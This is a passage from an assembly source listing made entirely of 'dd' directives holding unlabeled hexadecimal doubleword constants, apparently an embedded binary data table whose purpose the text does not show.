2F31h, 0FF08E000h dd 165418D1h, 0F2156F46h, 0C4FF000Dh, 1BA718C5h, 0AB98FFFh dd 9901h, 10A2926h, 0B000099h, 99010Eh, 0E0B00h, 0D1FF2600h dd 1D91h, 2E08056Fh, 7590759h, 7250805h, 0D1FF0805h, 2045418h dd 5A0734A6h, 0C4E0350h, 50204D6h, 0E3050204h, 24A0204h dd 8D29FF05h, 0D0FF3C05h, 0FF020FD0h, 54513A29h, 10A2916h dd 6F000099h, 41C4FF00h, 1D2208h, 54E0B00h, 22F1CEFFh dd 2600001Dh, 5418D1FFh, 4787FF15h, 4652061Fh, 0E03EE3Ch dd 39DCFF3Ch, 4200204h, 0C7FF2002h, 0B113CB9h, 5A07000Eh dd 1F2C86FFh, 3D5D1FFh, 0F9E39FFh, 0FF004102h, 46087DC4h dd 3BBD3FFh, 91D1FFh, 295C4FFh, 0FF5209FFh, 1A072E09h dd 2B0FF85h, 78139FFh, 0E9075Ch, 13084107h, 4652062Ah dd 7000526h, 0B9C4FF41h, 2E09FF07h, 224608E0h, 0A001FF45h dd 541889FFh, 0C83AB1h, 10A0D00h, 0FF181541h, 130841C4h dd 2E001C10h, 2C31FF88h, 10F1900h, 2C31FFh, 31FF0104h dd 6CC002Ch, 4270164h, 16DA0308h, 0A0D1017h, 0FF002001h dd 12081C4h, 8E39FF20h, 2C31FFAAh, 5000CC00h, 3A080427h dd 0FF010451h, 0CC002C31h, 4275000h, 1C2208h, 0E0Bh, 275000CCh dd 0FF3A0804h, 1F4785h, 39FF2800h, 0D0D1FFD6h, 344011Fh dd 2C31FF17h, 5000CC00h, 3A080427h, 0FF010418h, 0CC002C31h dd 49C5000h, 8AFF3A08h, 1F47h, 275000CCh, 0FF170804h, 0CC002C31h dd 49C5000h, 4608h, 1C0906h, 275000CCh, 0FF3A0804h, 0FFAA4401h dd 0CC002C31h, 49C5000h, 6AFF3A08h, 9FFFA403h, 1D42BA16h dd 7000000h, 0E03DB10h, 10A031Ah, 2F39FFh, 0A292600h, 2F39FF01h dd 0E0B0000h, 502E31FFh, 3A080427h, 100204A2h, 8042701h dd 1D22h, 31FF0E0Bh, 427502Eh, 0EEFF3A08h, 1D9703CFh, 46260000h dd 2800001Dh, 0B1C4FF00h, 152978h, 3090600h, 1D15h, 1D4626h dd 1D222600h, 970B0000h, 0FF05DF05h, 7239h, 1BB88FFh, 9A005A1h dd 39D10305h, 21FF0205h, 6F000081h, 1D46h, 85C4FF6Fh, 2BFF6D3Ah dd 18D1FFD1h, 0FF3A5854h, 2A20h, 0C010A0Dh, 0C4FF1815h dd 99130841h, 882E0000h, 19000099h, 99010Fh, 99010400h dd 6CC0000h, 4270164h, 16DA0308h, 5010A29h, 81C4FF00h dd 0FF050120h, 0E036139h, 0CC0000h, 8042750h, 37E7C3Ah dd 99AAh, 275000CCh, 1D220804h, 0E0B0000h, 0CC0000h, 8042750h dd 9703393Ah, 0FF28001Ch, 1A58939h, 99170314h, 0CC0000h dd 8042750h, 4210FF3Ah, 0CC00001Fh, 49C5000h, 39F3A08h dd 99AAh, 275000CCh, 99170804h, 0CC0000h, 8049C50h, 6000046h dd 1D09h, 275000CCh, 0C93A0804h, 99AA03DBh, 0CC0000h, 8049C50h dd 42DDFF3Ah, 0B00001Fh, 0FFA50089h, 0D0DCECEh, 6CD339FFh dd 0FF003E1Fh, 81FF8DC4h, 150D0D38h, 9060000h, 890B001Ch dd 0CEFFA500h, 0FF0D0DCEh, 0E036139h, 47184608h, 0FF2169FFh dd 298357h, 1D7F07h, 9060B00h, 2C2239FFh, 166AA03h, 15002471h dd 4C010A03h, 260000h, 99C4FF00h, 1B83AD02h, 34210670h dd 0FF352F07h, 0C3036238h, 600004Ch, 7D529FFh, 0E0FFC32Ah dd 0FF060000h, 0FF07D029h, 0FF0116DDh, 38C5h, 6D60316h dd 1700D539h, 38C5FFh, 5020F00h, 100001Dh, 1DB20160h, 0FF280000h dd 1383D739h, 1A54DDFFh, 22D7A52h, 4D6034FFh, 0FF002600h dd 1FF3939h, 1B0E002Eh, 116DDFFh, 38C1FFh, 8A2E08C5h, 38C1FF01h dd 0FF141000h, 0C30038C1h, 2800004Ch, 0FF010A0Dh, 0B002F83h dd 0A4B0906h, 4C01h, 2409060Bh, 0BB8AFF00h, 260024h, 6AE439FFh dd 9060000h, 39FF0024h, 57000024h, 378FF65h, 26002415h dd 0C4FF0000h, 11FF3EE9h, 0DDFF1381h, 2415B9h, 0FF000026h dd 0FF3ECDC4h, 0C1FF0DD8h, 15002458h, 4C01h, 2409060Bh dd 4B00h, 24BB8AFFh, 0FF002600h, 4F39h, 240906h, 358F39FFh dd 16C338FFh, 117D1FFh, 0E0FFh, 24BB8BFFh, 0FF002600h dd 1459BC39h, 0FF002471h, 1EFFCA39h, 0FFA50000h, 0A03BB89h dd 0F1CEFF01h, 2600D5h, 99C4FF00h, 2301h, 231E06h, 0D54800h dd 0DB110700h, 23142503h, 10A0000h, 0D5F1CEFFh, 0FF002600h dd 0CEFFDA39h, 600000Fh, 3E4009h, 6239FF00h, 0FFA50000h dd 0A03BB84h, 0F1CEFF01h, 2600D5h, 99C4FF00h, 0D52A01h dd 0D52A1E06h, 0D54800h, 0FF400700h, 1400FFCEh, 0A00D52Ah dd 0F1CEFF01h, 2600D5h, 7739FFh, 40090600h, 18BBDCFFh dd 0 dd 247114h, 8239FFh, 0F1CEFF14h, 39FF0024h, 18FF3596h dd 44471A13h, 7000D10h, 1D7Fh, 0FF09060Bh, 0FF0C0639h dd 1D5CD0h, 0E0B00h, 641E0600h, 4B00001Dh, 39FF0000h, 0F1CEFF12h dd 0FF655703h, 10A03E0h, 1D3Ch, 0FF4C006Eh, 1D225F29h dd 60B0000h, 14000309h, 1D64h, 0FFC539FFh, 0E002E03h, 1040000h dd 1D19h, 1E063B06h, 0FF110766h, 603D113h, 4007661Eh, 0FFB912FFh dd 10CE539h, 6000050h, 501Eh, 0FF00004Bh, 5539h, 104D0F4h dd 4000050h, 1D7F660Ah, 66E0000h, 0BD511FFh, 6E00000Eh dd 0DB11FF06h, 1D220E0Bh, 66E0000h, 0BCB11FFh, 1D0906h dd 39FF0D00h, 78010Ch, 4E39FF00h, 6614B603h, 0A29FFh, 59A400h dd 64140000h, 0FF00001Dh, 14512039h, 1D19h, 1F5C39FFh dd 1006471Ah, 8129FF4Bh, 2639FF29h, 30E0304h, 20F0906h dd 0FFB9DDFFh, 22FFFC39h, 0C211FD1h, 5607A8FFh, 0D739FF0Ch dd 1FD122FFh, 0FF020F48h, 422F3A21h, 86AAC02h, 0C020446h dd 0FF1316A9h, 700B9DDh, 39FF0C31h, 0D123FF0Eh, 0FF075913h dd 204B9DDh, 4302D93h, 36333716h, 0D839FF0Dh, 90603E3h dd 39FF1004h, 54E0345h, 6714007h, 4380521h, 2040502h, 0FF05024Ah dd 0FF07F129h, 24A5ADAh, 51404005h, 52068310h, 2042F2Eh dd 4A020405h, 0FF600502h, 122D94D2h, 0FFEADDFFh, 20FA410h dd 0FF3A29FFh, 29FF5A03h, 21065418h, 31FF4B2Ah, 56136FD3h dd 3110FF2Ah, 0F681D3FFh, 1323C0FFh, 65E2DDFFh, 3D120FFh dd 75C0700h, 45974F72h, 6036AFFh, 0D0FF0F09h, 0DDFF8E5Ah dd 0FF024258h, 2E03D029h, 0B502042Fh, 2A02F302h, 35CDEFFh dd 0FF5F0204h, 20552C1h, 3460805h, 0FF040906h, 1A0FC184h dd 0FF5F0204h, 44852C1h, 22BC212h, 19FFBC31h, 40C0C58h dd 0B20C8E12h, 2B2A0204h, 31FF9602h, 0B1A6FD3h, 22B0906h dd 0D331FF96h, 60B1A6Fh, 3AFF3D09h, 9838FFD9h, 479D2A02h dd 218782FFh, 54C1FF31h, 0D028FF06h, 5BC1FF1Bh, 660322Fh dd 7D028FFh, 2F1721FFh, 478ED1FFh, 2E5280FFh, 502042Fh dd 24A0204h, 0D2FF6005h, 0E129FF94h, 0D2FFC269h, 0E829FF94h dd 0FF40AEFFh, 3AFFBE1Fh, 0D0FF6BD3h, 7005418h, 0AC39C1FFh dd 0C13521Fh, 2040C02h, 2FADDFFh, 2B3FF05h, 120C024Ah dd 0FFDEC1FFh, 10FFEAD8h, 94D2FFA5h, 0DEC1FF12h, 0FF52D8FFh dd 255F1CEh, 120C024Ah, 0FFDEC1FFh, 0CEFF52D8h, 50755F1h dd 0C024A02h, 31090603h, 350C024Ah, 80FF479Dh, 2042F80h dd 4A020405h, 2780502h, 5024A05h, 1BDC29FFh, 4A5ADFFFh dd 29FF0502h, 61207DBh, 42F2E52h, 502B502h, 1A2D9312h dd 0DC29FF06h, 204DF1Bh, 2D931205h, 29FF061Ah, 0DEFF07DBh dd 0FF12055Ah, 0FF1651D9h, 204DA3Ah, 2F05024Ah, 77683AFFh dd 9D000000h, 93020447h, 0D9FF172Dh, 1536090h, 132D9378h dd 7F1CEFFh, 51D9FF31h, 1FFF402Eh, 47128CFFh, 20F1006h dd 2E52060Ch, 502042Fh, 24A0204h, 0F129FF05h, 52C0FF07h dd 0FF0C0248h, 5206D53Ah, 5F024A17h, 405124Ah, 4A02B502h dd 1B780502h, 1B8321D3h, 15FECEFFh, 204631Bh, 29FF024Ah dd 29FF1751h, 24A0299h, 0FF132DC1h, 7007F1CEh, 7832106h dd 0FF4040h, 5418113Ah, 6050205h, 0BC020521h, 29FF0502h dd 0C4FF07FFh, 5024A5Ah, 0FF3C0502h, 3AFFD0D0h, 0BC0204E3h dd 2780502h, 2BC0205h, 5024A05h, 3AFF0512h, 0FF54C471h dd 700FFCEh, 49CF5Ah, 6505210Eh, 40376FFh, 0FF302A02h dd 0FF17F1CEh, 0FF1751C5h, 20451C1h, 1751DDFFh, 1B832105h dd 0FF21B3FFh, 0B21BD029h, 29FF2106h, 0F3FF1BD3h, 1BE82106h dd 7BCFF40h, 0FFCEFF72h, 0E000000h, 1A07A721h, 2E84FF85h dd 0FF075C07h, 39C1h, 0A7210E00h, 55851A07h, 2BFFF607h dd 0E00002Fh, 1A07A721h, 700C985h, 0FF2A075Ch, 1D3139h dd 0A7210E00h, 2F851A07h, 479D3515h, 535A80FFh, 0A329FF06h dd 0FF192DC7h, 153854D0h, 0E03150Dh, 0FF090603h, 17032038h dd 75132DC7h, 0B3132DC7h, 0C7020403h, 0D0FF192Dh, 57FF0154h dd 2D931703h, 2A21FE5Dh, 0C039FF48h, 2271FBDh, 0DEC5FF05h dd 305026Dh, 19050906h, 35938FFh, 2D930204h, 2EDEFF5Dh dd 0F6075C07h, 4E4F43Eh, 132DC702h, 85EFFB3h, 0FFF60725h dd 3AFF3D87h, 0FF0700DCh, 0FFF62EC1h, 0FF351096h, 5D2D933Ah dd 72EDEFFh, 71F60759h, 0F73AFF10h, 2D930204h, 2EDEFF5Dh dd 0F6075C07h, 0FF071F62h, 1AF62EC1h, 0A540E03h, 8121FF02h dd 2890020Ah, 1C3639FFh, 2F090600h, 2203D535h, 39FF2828h dd 6001C10h, 0FF352F09h, 22030838h, 3A082828h, 6001CB8h dd 0FF352F09h, 53036038h, 38FF3510h, 2420373h, 3D039FFh dd 39FF0725h, 28285Ch, 90600h, 5C39FF07h, 2828h, 7000906h dd 285C39FFh, 6000028h, 0FF070009h, 28285C39h, 9060000h dd 19FF020Ah, 0FF020A81h, 0D8109h, 39C1FF07h, 13D13BFFh dd 647152Ah, 0FF282810h, 6B39h, 352F0906h, 37538FFh, 2810020Ah dd 9060045h, 0AEFF851Ah, 5439FF53h, 285CDEFFh, 78010E03h dd 320020Ah, 0A78010Eh, 8131FF02h, 20A051Fh, 0A0E0B10h dd 8131FF02h, 39FF020Ah, 5A072581h, 0D13BFFB4h, 47152A13h dd 4481006h, 204A612h, 29FF02C2h, 2042F3Ah, 2DC102B5h dd 2E6FF5Dh, 558DDFFh, 0CEFF5D2Dh, 50204C8h, 0FF2DC112h dd 10FFEAD8h, 20F19A5h, 4780505h, 20CB002h, 0FF5D2D05h dd 0C0204EEh, 10FF0512h, 0F1CEFFA4h, 3AFF0C17h, 50204F1h dd 78050204h, 20F0502h, 310FC20Ch, 2FA29FFh, 2F2FF0Ch dd 541829FFh, 0FFE0DEFFh, 10048F8Eh, 2E39FFh, 0FF020F00h dd 25205831h, 0FF3A089Ah, 2E03h, 31FF022Bh, 3584FFCAh dd 0FF1657FFh, 0B158183h, 5B0020Fh, 0A36BFFFCh, 0D1DEFFB2h dd 467EFFFCh, 0FF920700h, 0D138FF5Eh, 5839FF5Bh, 0C130310h dd 21A6D1FFh, 0FF8139FFh, 13529A21h, 21067010h, 0FF9639FFh dd 13529321h, 21067010h, 75E639FFh, 520603BEh, 6701013h dd 0F739FF21h, 1303C975h, 0A6D1FF0Ch, 0CF39FF21h, 0C8CEFF75h dd 0FF0C1303h, 0FF21A6D1h, 1375DB39h, 0FF022B0Ch, 2055A39h dd 12C221FFh, 5405120Ch, 0D9FF0700h, 0FF0003BBh, 0FD18E5C4h dd 55809FFh, 0FF051382h, 72540D1h, 3A28FF5Ah, 15150E03h dd 0C4FF0003h, 0FFFD18E5h, 82055809h, 89FF0517h, 32F5418h dd 258782FFh, 4D7F07h, 0FF09060Bh, 10AA539h, 0C4FF004Fh dd 3510115h, 0C539FF98h, 0C1FF010Fh, 1040028h, 2909FFh dd 0D1FF1100h, 10D1FFC1h, 0FC539FFh, 2919FF01h, 39FF0000h dd 10F0340h, 0FF100110h, 80FF6803h, 20FF2CD0h, 4D2A58h dd 0FF100104h, 80FF6803h, 35E72CD0h, 20FF2CA2h, 10014158h dd 0FF6803FFh, 0E72CD080h, 0E72CA235h, 10F1535h, 42000023h dd 0C429FF02h, 4C01D703h, 22980000h, 0C4FF0028h, 4C18C9h dd 0FF002800h, 0FF01A9C4h, 2B31h, 0A46037Eh, 1C8201Eh dd 2B31FFh, 1D72600h, 1800491Bh, 2921FF01h, 1E0D0000h dd 1E500720h, 4B0000A9h, 0B70000h, 13086C00h, 2B21FFh dd 0A4D3FF00h, 8820000h, 13037EBAh, 0C4FF0720h, 0A952h dd 0A4DBFFh, 438DFF00h, 1E06772Eh, 0C4FF0720h dd 0A952h, 0A48BFFh, 4389FF00h, 5289FF2Eh, 0C4FF0720h dd 0A952h, 0FF00004Bh, 201E4381h, 52C4FF07h, 0B70000A9h dd 0AB5E0000h, 1E232E08h, 0A9620720h, 0D3FF0000h, 3C0000A4h dd 0FF1308ABh, 2B21h, 24A4D3FFh, 24600100h, 0FF010F00h dd 2921h, 5139FFh, 34600100h, 8AB1900h, 90018A2Eh, 0AB640034h dd 34901708h, 5020F00h, 2CF70000h, 0D1FF0049h, 73FFE5E2h dd 0CF3B4CFFh, 0F004969h, 49300Ah, 13B010Ah, 28C5FFh, 34390600h dd 342200h, 2908AB45h, 0D9C4FF00h, 8DFF0718h, 1420952h dd 2911FFh, 22033000h, 0A280034h, 8150901h, 0FF0C1425h dd 718DDC4h, 491562h, 3409060Bh, 0C4FF0000h, 2318F9h, 0B700h dd 8A2E08C5h, 2969FF01h, 7411308h, 116DDFFh, 0C5003468h dd 18A2E08h, 0C003468h, 4D2A1Eh, 0C50000B7h, 18A2E08h dd 0C00346Bh, 2929FF01h, 280000h, 2969FF14h, 23h, 346814h dd 14411400h, 346Bh, 4D2A14h, 50700h, 0FF140000h, 2919h dd 1439FFh, 2600h, 0A9141014h, 14000000h, 21FF1420h, 29h dd 491B14h, 10A0D0Dh, 2A29FFh, 9060B00h, 450049h, 9060B00h dd 39FF004Dh, 0FF570378h, 471A8E11h, 1BB980FFh, 1FD132FFh dd 630521h, 0FF053107h, 15F5AB39h, 7039FF0Dh, 4090603h dd 0B7F0710h, 739FF0Eh, 88FF0321h, 502B939h, 0B220846h dd 7000906h, 8292h, 835288FFh, 69FF2F07h, 39F7FF39h, 332D1FFh dd 0F805022Bh, 5022B03h, 5102422Fh, 10510204h, 843A0882h dd 3A05020Fh, 0B2FFh, 0B929FF4Eh, 28439FFh, 96FF3A0Ch dd 4E000000h, 0FFB921FFh, 0E839h, 3A104E00h, 2Bh, 5A39FF4Eh dd 20C0205h, 0BB03FF10h, 1044479Dh, 2F2E5206h, 2B50204h dd 1B0901ADh, 5A3BFF40h, 0FF0029FFh, 5AD5839h, 21060502h dd 0FF171605h, 78FF9929h, 0E03h, 39FF0104h, 950002Dh, 0CA01h dd 0E0Bh, 39FFAA0Bh, 0FF50002Dh, 5225E19h, 0E0370FFh, 0F50B0000h dd 49220815h, 9060B00h, 2D21FF05h, 2E89FF11h, 10A0000h dd 280000CAh, 10A0D0Dh, 2C29FFh, 1C09060Bh, 890B00h, 0FF002600h dd 7039h, 0FF050906h, 10F03E6h, 27053920h, 10A0D62h, 2C29FFh dd 39FF0026h, 600003Ch, 6004909h, 2A31FF1Eh, 49480000h dd 0FF1B0000h, 3F39FFF3h, 0FFD131FFh, 2001FAD1h, 5756227h dd 0FF53FF98h, 0D1FF0353h, 0CEFF0C50h, 57503F1h, 2E19FFh dd 1040AF4h, 3951010Ch, 0FFC50049h, 0FF00497Ch, 4C08h dd 34239FFh, 120012Bh, 2A19FFh, 49390600h, 7CFFC500h, 9FF0049h dd 0FF1E18E4h, 2A01h, 32C39FFh, 1441010Fh, 0FF2D21FFh dd 0AA002E19h, 0C8CEFF41h, 10C0104h, 2A31FFh, 0C010F00h dd 2EDFFFh, 479D3500h, 0D1044h, 947F07h, 0FF09060Bh, 0A0D2539h dd 39FF1001h, 0E036A01h, 6F0000h, 7885C4FFh, 10A0315h dd 41010410h, 2C18h, 86A1800h, 0FF411425h, 86FF8DC4h, 10F03D6h dd 2C3Dh, 2C3D0104h, 0A2350000h, 5820FF2Ch, 2601FFh, 3D010400h dd 3500002Ch, 35E72CA2h, 20FF2CA2h, 2631FF58h, 1040000h dd 2C3Dh, 2 dup(0E72CA235h), 10F1535h, 8DB3051h, 2C22h dd 0B220E0Bh, 1B03080Eh, 3159FFFh, 81FF010Ah, 39FF0126h dd 26000026h, 0FECEFF5Dh, 39FF0104h, 6000026h, 1D031FFh dd 0B220860h, 2208DB0Eh, 1000E0Bh, 19009460h, 8A2E08ABh dd 944301h, 1708AB64h, 0F009443h, 7CFF9202h, 60010000h dd 0AB190094h, 18A2E08h, 640094A1h, 0A11708ABh, 10F0094h dd 2C5Eh, 4139FFh, 0FF010F00h, 2609h, 0DB200142h, 50D1FF08h dd 2609FFh, 0F8586100h, 0D00002Ch, 2609FF1Eh, 8A0C0000h dd 8DB2001h, 502093Ah, 0B70000h, 2E08C500h, 947E018Ah dd 0FF1E0C00h, 2631h, 0C50000B7h, 18A2E08h, 0C0094E2h dd 2601FF1Eh, 0B70000h, 2E08C500h, 949C018Ah, 7E140C00h dd 14000094h, 94E21451h, 0FF140000h, 2631h, 949C1400h dd 0FF140000h, 2601h, 50204h, 94390600h, 7CFFC500h, 9FF0094h dd 0FF3E1BE4h, 1400380Ch, 2609FFh, 20140000h, 2C5E14h dd 0F2070000h, 10010A28h, 10A0D0Dh, 4539FF10h, 2C090603h dd 450000h, 9060B00h, 39FF0094h, 0D1D8FFF1h, 0FF471A1Fh dd 4161B980h, 40070502h, 31070063h, 2539FF05h, 0FF0D15F5h dd 32FCA39h, 10040906h, 5B08DBA1h, 22520620h, 21FF5B26h dd 0FF1BAC52h, 21FF528Ch, 86FF1BD0h, 0D421FF52h, 2106CB1Bh dd 1BD321FFh, 41020A2Ah, 0FF2E2628h, 341BBC1h, 98030906h dd 2E31FF07h, 415B4107h, 19FF4102h, 0D0FF0C58h, 0FF062059h dd 8B29h, 100C0204h, 8687FF03h, 247F0725h, 9060B00h, 152539FFh dd 4922087Eh, 7422FF00h, 3D12BFFh, 0FF1E0A35h, 0FFC82DC0h dd 5B08DB70h, 493941h, 246313h, 1421013h, 160000D4h, 41010A03h dd 1DC4FF00h, 243801h, 24381E06h, 4327A00h, 24381316h dd 0DED0FF00h, 16AFFF32h, 243813h, 7EA4D3FFh, 9EFF2E08h dd 24381E06h, 0A4D2FF00h, 0A32E087Eh, 24381E06h, 0D8FF1A00h dd 0FF050216h, 1E06FA3Ah, 11002438h, 216D8FFh, 0C83AFF05h dd 24381E06h, 0FF077000h, 50216D8h, 50242D6h, 24381E06h dd 0FCFF1100h, 24381E06h, 0A5D3FF00h, 0A280049h, 10A0C01h dd 0C4FF0041h, 1151819h, 2139FF51h, 13D10BFFh, 98BBDDFFh dd 2A09FF14h, 14000000h, 0A2AFF51h, 51010F03h, 2A09FFCFh dd 1E060000h, 4B0000D4h, 0B004922h, 0D40Eh, 0FF015117h dd 2A09h, 496001h, 7511400h, 28000005h, 5010A0Dh, 31C4FF00h dd 0F7FF2384h, 5072Eh, 0A0D2800h, 0FF000501h, 8E8431C4h dd 0FF100A51h, 1105819h, 19002463h, 2463010Fh, 41017600h dd 4159D0FFh, 0FF41012Dh, 8B29h, 24631E06h, 22084800h dd 0E0B0049h, 14000000h, 0A002463h, 0A0D0501h, 0FF000501h dd 0FF8431C4h, 495CC5h, 0B000045h, 240906h, 35B39FFh, 8E11FF57h dd 0FF3A16D8h, 4E030887h, 63400705h, 5310700h, 0F58D39FFh dd 39FF0D15h, 9060352h, 0FF021004h, 22088129h, 70051326h dd 77832106h, 0C210619h, 0AC210670h, 0C07BE77h, 72FF0507h dd 0FF020F03h, 0FF105839h, 31F0C80h, 0FF8672FFh, 0A21801C4h dd 7220FF2Ch, 2100486h, 88129FFh, 5132622h, 83210670h dd 0D3695577h, 0AC210670h, 0FCFF77h, 5070C07h, 0D10BFF7Ch dd 5839FF5Bh, 0C80FF10h, 3AFF031Fh, 0C4FF00DEh, 2CA21801h dd 541820FFh, 29FF020Ah, 26220881h, 6700513h, 8778321h dd 700C2106h, 77AC2106h, 70C0735h, 0FF60FF05h, 0FF5BD108h dd 0FF105839h, 31F0C80h, 0FF86112Bh, 811801C4h, 18D1FF08h dd 0CEFF8654h, 39FF03C8h, 88FF0372h, 3A088672h, 101FA706h dd 3BCFF3Eh, 0B581FF03h, 520F1006h, 20135206h, 20F3117h dd 315A31FFh, 0A820021Ah, 0B60306FFh, 2E31FF07h, 600DC4FFh dd 1B03086Ah, 72EC4FFh, 0DB931FFh, 9AE39FFh, 41022007h dd 5410204h, 10070D18h, 0FF090600h, 12055239h, 3B521FFh dd 0D88F8EFFh, 0C4E0315h, 6E851A07h, 3D0C310Fh, 29FF021Ah dd 15290C81h, 6090603h, 5070521h, 7004608h dd 15471F0Ch, 36C2908h, 0B581FF03h, 82FF1044h, 0C608C587h dd 1500006Ch, 521E0Ah, 7A22FF00h, 175206C8h, 0FF190431h dd 1D58C1h, 31020400h, 0C511FF06h, 3639FF28h, 41F04FFh dd 0FF003102h, 0C181h, 1D051206h, 3AFF0000h, 6C010AF0h dd 39450000h, 9060000h, 55239FFh, 0B521FF12h, 8F8EFF03h dd 39FF0DD8h, 88FF0369h, 3211FF52h, 0C1D1FF08h, 0FF72FD07h dd 1F04FF57h, 378FF3Ah, 16276557h, 63D9813h, 42F2E52h dd 9121FF02h, 0C121FF21h, 0FF02D321h, 0FF17B821h, 17083219h dd 55C1D0FFh, 0FF720700h, 0FFF503EBh, 64658C39h, 62D2E16h dd 0D6831352h, 21B50204h, 21C129FFh, 29FF02FEh, 19FF17B8h dd 0FF130832h, 0FF4BD9D0h, 4034911h, 8619DCFFh, 0B0120C12h dd 0FFD33AFFh, 70C6C3Ah, 51BFF72h, 0BD3A087Bh, 4F655703h dd 311B9B21h, 3D0C0C56h, 25CC1FFh, 0C8E0705h, 0FFD339FFh dd 9060306h, 70FF0C17h, 0F488686h, 20C1002h, 150D150Ch dd 307FF14h, 80F0906h, 0FE070C31h, 0F6FF7207h, 3868605h dd 9060B15h, 11713A08h, 39FF0D1Fh, 541F11CCh, 0FF053A08h dd 868670h, 46161818h, 0FF0239FFh, 0FF13D102h, 39FFB9DDh dd 101F1A07h, 0A7210603h, 3FE1107h, 0FF5A0700h, 3312h dd 6DDE88FFh, 0FF5411FFh, 5A072E8Bh, 30218FFh, 43A054Eh dd 0B3751F1Ah, 3219FF17h, 0D0FF1308h, 17B348D9h, 83219FFh dd 0D0FF3CD7h, 0D0316D5h, 0FF8A39FFh, 0E9071D38h, 18010A0Dh dd 9A139FFh, 1AC93A08h, 0A0AD5B1Fh, 4DC3AFFh, 10FA001h dd 75A01EA0h, 0B300001Dh, 3219FF17h, 0D0FF1308h, 0F3D48D9h dd 1DF202h, 17B36E00h, 83219FFh, 81C5FF22h, 1D60011Fh dd 17B30000h, 83219FFh, 0D0FF3CD7h, 60316D5h, 40078321h dd 0FC11h, 39FF0D00h, 88FF035Bh, 13165418h, 4F1107A7h dd 0FFFC5A07h, 0FF002E30h, 0FF6DDE88h, 0B8325411h, 5A072503h dd 4E03A8FFh, 6553A05h, 5020521h, 0DCFF0403h, 1BA78619h dd 867087FFh, 0FF17B386h, 17083219h, 0FD9D0FFh, 0B929FF02h dd 0FF17B315h, 0FF083219h, 19FFD2D1h, 0DDFF1380h, 0C4FF00BBh dd 0E0341831h, 39FF2908h, 0CE38FF1Dh, 0E9072516h, 0A0010A0Dh dd 0FF3039FFh, 0FF13D100h, 58ABB9C1h, 0C5B1Fh, 0D882E00h dd 1E0D010Fh, 52DEFF0Dh, 0FF0D1703h, 4034911h, 8619DCFFh dd 1703DAA7h, 0A0010A0Ch, 0FF0D0104h, 4034911h, 8619DCFFh dd 1F81C5FFh, 0FF086001h, 0D1799D1h, 34911FFh, 19DCFF04h dd 6CA686h, 1D150D00h, 17B30000h, 83219FFh, 0FFD2D1FFh dd 0FF138019h, 1DBBDDh, 0C4FF0000h, 6C1831h, 8E00000h dd 38110C13h, 0D000000h, 37939FFh, 541888FFh, 7002916h dd 1D7Fh, 0FF09060Bh, 0A3069E39h, 83211FFh, 15CB1B03h dd 1D220886h, 60B0000h, 3F014F09h, 0E0B0000h, 39FF2903h dd 61F16F2h, 42F2E52h, 21060502h, 3050205h, 19DCFF04h dd 6C1BA786h, 0FF3A087Bh, 0F503D128h, 29089A00h, 30439FFh dd 40305AAh, 8619DCFFh, 9081C5FFh, 1D22087Eh, 60B0000h dd 0FF17B309h, 13083219h, 48D5D0FFh, 1Bh, 4139FF0Dh, 0EFC45703h dd 0FF3A16D8h, 31EFF96h, 4007054Eh, 5C0700E4h, 0E000507h dd 3A1904FFh, 2985FFh, 7000E00h, 0C8CEFF5Ah, 0FF031EFFh dd 25541888h, 0FF7C5A07h, 906031Eh, 1B03086Ah, 7B9C1FFh dd 0C1C4FF5Ch, 0FF2E086Ah, 5C072ED8h, 5435C4FFh, 3DC4FF00h dd 0C4FF0054h, 0FF4784DDh, 0FF028782h, 70D921DDh, 48F8EFFh dd 0FF310710h, 56FF21DDh, 8F8EFF70h, 0C4FF1004h, 720021Dh dd 39FF0DDFh, 0D100FFD9h, 246031Fh, 138139FFh, 0FF5BDDFFh dd 2AC359C1h, 9FF4E0Bh, 5809FF5Ah, 0C7136F0Ch, 62A026Dh dd 21D929FFh, 216D8FFh, 3D919FFh, 2AC32F2Eh, 0FFE6020Fh dd 2235219h, 1FF7E41h, 51021FD1h, 705CE02h, 39FF0241h dd 5C262A81h, 5B082007h, 21631FFh, 3D029FFh, 0D031FF13h dd 2EDCFF1Bh, 12B5C4FFh, 0FF58DDFFh, 204C63Ah, 21A0556h dd 5C3D0556h, 17082007h, 1FF070Ch, 1C0FF39h, 0FF4F021Fh dd 0AA0301D3h, 541829FFh, 7002958h, 0B001C7Fh, 39FF0906h dd 31FFC385h, 0B35D0832h, 85C4FF25h, 83201FFh, 3201FF13h dd 2F070308h, 0AE38FF35h, 1886D305h, 0D3250886h, 8861886h dd 1886D325h, 74F8686h, 38FF352Fh, 0FF13B1F7h, 3083209h dd 0FF352F07h, 13B1C738h, 352F0751h, 0B1D738FFh, 1D22h dd 1C3D010Fh, 3D140000h, 0FF00001Ch, 3C0195C4h, 1E06001Ch dd 1C3Ch, 2E85FF07h, 1C3D14h, 0EDC4FF00h, 1C193Eh, 1C191E06h dd 1C4800h, 0FF6EDEFFh, 81DBh, 4C591904h, 1C3C01h, 909060Bh dd 31F19FFh, 58046557h, 1C0513h, 0FF3AD0FFh, 1C5E5BDFh dd 1271A00h, 2 dup(0C3001C5Eh), 0FFEA22FFh, 5EFFDE10h dd 3D38AFFh, 58052106h, 2CC5FF13h, 231300h, 39060000h dd 3813001Ch, 4C13001Ch, 66130000h, 1C3906h, 1C6313h, 1C7113h dd 1C71882Eh, 10F1900h, 4001C71h, 1C7101h, 377FF55h, 1C631E06h dd 0B8017A00h, 14004603h, 0A001C5Eh, 5001h, 39FF0026h dd 0C5FF050Bh, 0B354h, 0BB00004Bh, 10F0000h, 400004Ch dd 1C6401h, 1C750055h, 23010F00h, 1040000h, 55001C64h dd 64567700h, 10F001Ch, 0FF001C38h, 104C73Ah, 0F000050h dd 2CC5FF01h, 63014200h, 316001Ch, 38FF35D6h, 84h, 1660104h dd 6001C2Ah, 2CC5FF1Eh, 4B00h, 0B0072C35h, 1CF1CEFFh, 0C43AFF00h dd 1C3906h, 0F1CEFF13h, 3813001Ch, 0FF13001Ch, 7A002CC5h dd 0D119FF01h, 2A011503h, 5B26001Ch, 62CC1FFh, 2CC1FF1Eh dd 0FF00FD48h, 0DE81h, 0DE81FFh, 0DE81FF00h, 6E0000h, 1C38144Ch dd 0FF140000h, 1CF1CEh, 231400h, 1C5EC300h, 4500h, 6D09060Bh dd 0FF00FD01h, 0DE81h, 0DE81FFh, 0DE81FF00h, 260000h, 0CEFF1400h dd 1CF1h, 2314h, 1C5EC3h, 0B000045h, 0FF140906h, 0C3002CC5h dd 45001C5Eh, 60B0000h, 55001C09h, 422F0700h, 38FF0502h dd 35000055h, 1A1318FFh, 4B100647h, 0FF5A0725h, 31F35AEh dd 